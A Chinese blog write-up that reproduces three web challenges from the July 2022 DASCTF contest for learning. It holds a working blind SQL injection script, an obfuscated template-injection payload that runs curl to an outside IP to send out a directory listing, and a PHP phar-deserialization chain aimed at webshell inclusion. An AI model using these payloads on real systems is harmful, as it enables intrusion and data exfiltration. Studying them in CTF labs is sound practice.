• 2022DASCTF7月赋能赛(复现)


    重点是复现!!!!

    前言

    这次七月dasctf对于我这种小菜鸡来说属实坐牢了,确实还得练啊,比赛结束就坐等官方wp,利用官方的wp来复现我所了解知识范围内的题目,也算是对我所学的知识的巩固和提升。

    绝对防御(sql盲注)

    这个赛题做出来的师傅算是比较少,复现之后感觉难点就是寻找注入点和绕过waf。看了官方wp是利用jsfinder工具来查找web接口。那这个工具到底是什么?

    它是github上的开源工具,这款工具功能就是查找隐藏在js文件中的api接口和敏感目录,以及一些子 域名。是一款强大的渗透工具(信息收集)

    查看题目网站源代码,有许多js文件,那么就可以用这个工具寻找一下可用的web接口。

     这个工具适用于python3版本,在这里我们发现有个SUPPERAPI.php文件,访问这个文件,查看源代码。

    1. function check(){
    2. var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
    3. if (reg.test(getQueryVariable("id"))) {
    4. alert("提示:您输入的信息含有非法字符!");
    5. window.location.href = "/"
    6. }
    7. }

    这里通过id传参,然后前端过滤掉这么多字符,给id传1和2,分别为admin和flag。测试几次发现前端过滤的死死的,后端也过滤了if,union等函数。这里我们使用sql盲注,比如写一个payload为

    id=1 and ascii(substr((select database()),1,1))>1

    看这个语句基本上就返回id=1,也就是admin,但是页面永远都是

    还是前端限制没绕过,其实也不需要绕过,我们利用python提交payload就会发现语句是被正常执行了的。

    1. import requests
    2. import re
    3. import time
    4. url = 'http://c8f02a34-d6ba-4008-8b04-e5192f62474d.node4.buuoj.cn:81/SUPPERAPI.php?'
    5. data = "id=1 and ascii(substr((select password from users where id=2),1,1))>1"
    6. res = requests.get(url+data)
    7. print(res.text)
    8. print(len(res.text))

    运行脚本发现admin被正常输出出来了。

     那么就是说,我们可以利用返回包的长度或者关键词admin作为盲注判断的依据。

    剩下的就是编写脚本,用枚举法是最简单的,但是速度确实最慢的,没有个几分钟是跑不出来的,这次要学习的就是二分法盲注,让目标元素与临界值的中间元素进行比较,了解更多可以看这篇师傅的文章:(二分法盲注_hui________的博客-CSDN博客_二分法注入)我不再赘述。那么上下的就是编写脚本了。

    1. import re
    2. import requests
    3. import time
    4. url = "http://d360d124-6b20-4866-a2fe-8b80683c209c.node4.buuoj.cn:81/SUPPERAPI.php?"
    5. payload = f"id=1 and ascii(substr((select database()),1,1))>127"
    6. res = ''
    7. for i in range(50):
    8. low = 32
    9. high = 127
    10. while(low <= high):
    11. mid = (high + low) //2
    12. print(low, mid, high)
    13. payload = "id=1 and ascii(substr((select password from users where id=2),{0},1))>{1}".format(i,mid)
    14. print(payload)
    15. re = requests.get(url + payload)
    16. #print(response.text)
    17. if 'admin' in re.text:
    18. low = mid + 1
    19. else:
    20. high = mid - 1
    21. print("[+]:",low, res)
    22. time.sleep(1)
    23. res += chr(low)
    24. print("[+]:",low, res)
    25. print(res)

    从一个大佬脚本上改了一点,大佬文章:(DASCTF2022.07赋能赛 部分WriteUp | CN-SEC 中文网

    Harddisk(SSTI盲注以及bypass)

    这个题目打开输入名字进行年龄测试,

    在比赛时都没想过是模板注入题,之前的思想太过于固化,总是以为查询,参数提交等这类型的题目都是sql注入,这次考察模板注入但是也过滤了好多东西,比如}}, {{, ], [, ], \, , +, _, ., x, g, request, print, args, values, input, globals, getitem,class,base等等,凡是构造payload所用到的都被过滤了。我们先看一个正常无过滤的简单payload:

    {{"".__class__.__base__.__subclass__()[]}}

    针对被过滤的东西进行了一个bypass

    1. {{被过滤了:{%print ...%} 或者 {%if ....%}..{%endif..%}
    2. 一些魔术方法被过滤:利用unicode编码配合attr过滤器进行bypass
    3. 过滤了.:利用attr过滤器,比如"".__class__等价于""|attr("__class__")
    4. 过滤了[:引入__getitem__来调用字典中的键值,例如a['b']等价于a.__getitem__('b')

    因为print被过滤,所以{%print..%}用不了,只能用第二种。这一种语法类似于if条件分支。

    但是这只能判断if条件里的语句是否正确,不能够回显执行的结果。我们最终利用外带的方式将执行结果带出来。我们最终想用的payload为

    1. {%if("".__class__.__base__.__subclasses__()[下标].__init__.__globals__.['popen'].(执行命令)
    2. .read())%}123{%endif%}

    过滤点和中括号后

    1. {%if(""|attr("__class__")|attr("__base__")|attr("__getitem__")(0)|attr("__subclasses__")
    2. ()|attr("__getitem__")(下标)|attr("__init__")|attr("__globals__")|attr("__getitem__")
    3. ("popen")(执行命令)|attr("read")())%}123{%endif%}

    现在关键的就是找到有popen的子类,我们可以利用python脚本来跑。那么payload为

    {%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(下标)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen"))%}123{%endif%}

    抓包post传参nickname,编写脚本遍历:

    1. import requests
    2. url = 'http://3e743ef2-9f39-4f3d-9960-fe1f103385e9.node4.buuoj.cn:81/'
    3. headers = {
    4. 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0'
    5. }
    6. for i in range(300):
    7. data = {
    8. "nickname": '{%if(""|attr("\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(0)|attr("\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f")()|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(' + str(i) + ')|attr("\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")("\\u0070\\u006f\\u0070\\u0065\\u006e"))%}123{%endif%}'
    9. }
    10. r = requests.post(url=url,data=data,headers=headers).text
    11. if '123' in r:
    12. print("找到了")
    13. print(i)
    14. exit(0)

    跑出来132,那么下标就为133了。找到了利用popen的类,最后一步就是执行命令了,官方wp利用vps开启监听将数据外带出来,之前一直没有用过,尝试外带失败。之后利用在线dns网站尝试dnslog外带也以失败告终。外带数据之后补一下坑,在今天先放一放。最后写下官方wp外带数据的payload。

    {%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%}    # curl 47.xxx.xxx.72:2333 -d \"`ls /`\"

    这个题目就主要复习一下ssti的bypass。

    Ez to getflag(phar反序列化,session文件包含)

    比赛方还挺人性化,搞了个非预期,直接搜索/flag就得出flag了。但是细看官方的预期解,涉及到的知识点也非常的多。

    通过网站的搜索功能,我们可以把当前页面的源码给扒下来,抓包查看当前文件是file.php,传参file.php得到源码。发现file.php包含了class.php,也给它扒下来。得到两个文件的源码分别为file.php:

    1. error_reporting(0);
    2. session_start();
    3. require_once('class.php');
    4. $filename = $_GET['f'];
    5. $show = new Show($filename);
    6. $show->show();
    7. ?>

    class.php(重点):

    1. class Upload {
    2. public $f;
    3. public $fname;
    4. public $fsize;
    5. function __construct(){
    6. $this->f = $_FILES;
    7. }
    8. function savefile() {
    9. $fname = md5($this->f["file"]["name"]).".png";
    10. if(file_exists('./upload/'.$fname)) {
    11. @unlink('./upload/'.$fname);
    12. }
    13. move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
    14. echo "upload success! :D";
    15. }
    16. function __toString(){
    17. $cont = $this->fname;
    18. $size = $this->fsize;
    19. echo $cont->$size;
    20. return 'this_is_upload';
    21. }
    22. function uploadfile() {
    23. if($this->file_check()) {
    24. $this->savefile();
    25. }
    26. }
    27. function file_check() {
    28. $allowed_types = array("png");
    29. $temp = explode(".",$this->f["file"]["name"]);
    30. $extension = end($temp);
    31. if(empty($extension)) {
    32. echo "what are you uploaded? :0";
    33. return false;
    34. }
    35. else{
    36. if(in_array($extension,$allowed_types)) {
    37. $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
    38. $f = file_get_contents($this->f["file"]["tmp_name"]);
    39. if(preg_match_all($filter,$f)){
    40. echo 'what are you doing!! :C';
    41. return false;
    42. }
    43. return true;
    44. }
    45. else {
    46. echo 'png onlyyy! XP';
    47. return false;
    48. }
    49. }
    50. }
    51. }
    52. class Show{
    53. public $source;
    54. public function __construct($fname)
    55. {
    56. $this->source = $fname;
    57. }
    58. public function show()
    59. {
    60. if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
    61. die('illegal fname :P');
    62. } else {
    63. echo file_get_contents($this->source);
    64. $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
    65. echo "{$src} />";
    66. }
    67. }
    68. function __get($name)
    69. {
    70. $this->ok($name);
    71. }
    72. public function __call($name, $arguments)
    73. {
    74. if(end($arguments)=='phpinfo'){
    75. phpinfo();
    76. }else{
    77. $this->backdoor(end($arguments));
    78. }
    79. return $name;
    80. }
    81. public function backdoor($door){
    82. include($door);
    83. echo "hacked!!";
    84. }
    85. public function __wakeup()
    86. {
    87. if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
    88. die("illegal fname XD");
    89. }
    90. }
    91. }
    92. class Test{
    93. public $str;
    94. public function __construct(){
    95. $this->str="It's works";
    96. }
    97. public function __destruct()
    98. {
    99. echo $this->str;
    100. }
    101. }
    102. ?>

    看到源码就不难解释搜索/flag可以出来flag了。f参数传入的内容作为赋值为show类的source属性,然后调用show()方法,最后调用file_get_contents($this->source);进行文件读取。当然,这只是非预期,如果file_get_contents函数没有权限读取flag又该怎么做?

    审计class.php,有一个upload类,这个类主要实现的就是网站的上传功能,限制上传的后缀为png格式,并且还对里面的内容进行了检查,不能出现以下字符串。

    1. if(in_array($extension,$allowed_types)) {
    2. $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
    3. $f = file_get_contents($this->f["file"]["tmp_name"]);
    4. if(preg_match_all($filter,$f)){
    5. echo 'what are you doing!! :C';
    6. return false;
    7. }

    show类主要实现网站的搜索功能,这里的魔术方法也比较多,第一应该想到的就是利用php反序列化来进行攻击。但是这两个文件都是没有unserialize函数,这时候我们可以利用phar反序列化来绕过这个限制,正好show类中没有过滤掉phar伪协议。但是在upload类中对上传文件内容进行了严格的过滤,这里上传gzip压缩后的phar文件可以绕过内容检测。(用gzip压缩后,phar文件的文件头也会被压缩,标志不存在了,那么进行内容检测时就不会把它当作phar文件来检测,它面对的只是一堆乱码,自然可以绕过限制,当然phar伪协议仍然可以解析phar文件)

    那么接下来找漏洞利用点,仔细看show类里有一个backdoor方法使用了include包含,我们可以让它包含我们的session临时文件,上传一个含有webshell的临时文件。

    那么构造pop链:

    首先起点就是test类的__destruct方法,有echo输出,str实例化upload类调用__tostring。

    这里可以调用任意类的任意方法 ,可以将this->fname赋值为Show类,把$this->fsize赋值为想要包含的文件的文件名。这样可以触发show类的__get方法,为什么要赋值为文件名,因为这样调用__get方法参数就为fsize属性。

    这里调用show类不存在的ok方法。自动调用__call函数,fsize属性就传递为arguments。这里就调用了backdoor方法,成功包含文件名。

     那么就开始编写pop链

    1. class Upload{
    2. public $f;
    3. public $fname;
    4. public $fsize;
    5. }
    6. class Show{
    7. public $source;
    8. }
    9. class Test{
    10. public $str;
    11. }
    12. $a = new Upload();
    13. $b = new Show();
    14. $c = new Test();
    15. $c->str = $a;
    16. $a->fname = $b;
    17. $a->fszie = "/tmp/sess_chaaa";//固定前缀sess_
    18. //phar压缩:
    19. $phar = new Phar("shell.phar");
    20. $phar->startBuffering();
    21. $phar->setStub("");
    22. $phar->setMetadata($c); //把我们构造的pop链的内容放进去
    23. $phar->addFromString("test.txt", "test");
    24. $phar->stopBuffering();
    25. ?>

     本地生成了shell.phar,里面的内容确实被序列化了。

    那么把它压缩并修改png上传。因为临时文件可能会被删除掉,所以编写多线程脚本进行上传和包含。白嫖官方的脚本,目前看不懂。

    相关文章:(浅析Phar反序列化 - FreeBuf网络安全行业门户

                      (详解利用session进行文件包含_合天网安实验室的博客-CSDN博客_session文件包含

    结语

    剩下一个web题不在能力范围内,复现并不代表会了,它能暴露出我所学知识的短板,在今后可以花时间来弥补这些不足。

    官方的wp:DASCTF|2022DASCTF7月赋能赛官方Write Up

  • 相关阅读:
    不同字符编码对比
    C++项目——云备份-②-第三方库认识
    含文档+PPT+源码等]精品基于Uniapp+SSM实现的移动端农副产品销售平台实现的App[包运行成功]计算机毕业设计安卓项目源码
    minikube 部署
    牛客打开摄像头几秒后画面消失 | 相机打开画面一闪一闪
    nodejs DEBUG=*
    (Java高级教程)第一章Java多线程基础-第一节3:线程状态和线程安全
    【CSS】object-fit 和 object-position 属性详解
    用Python自动生成数据日报!
    蓝桥杯官网填空题(方格计数)
  • 原文地址:https://blog.csdn.net/m0_62422842/article/details/126020281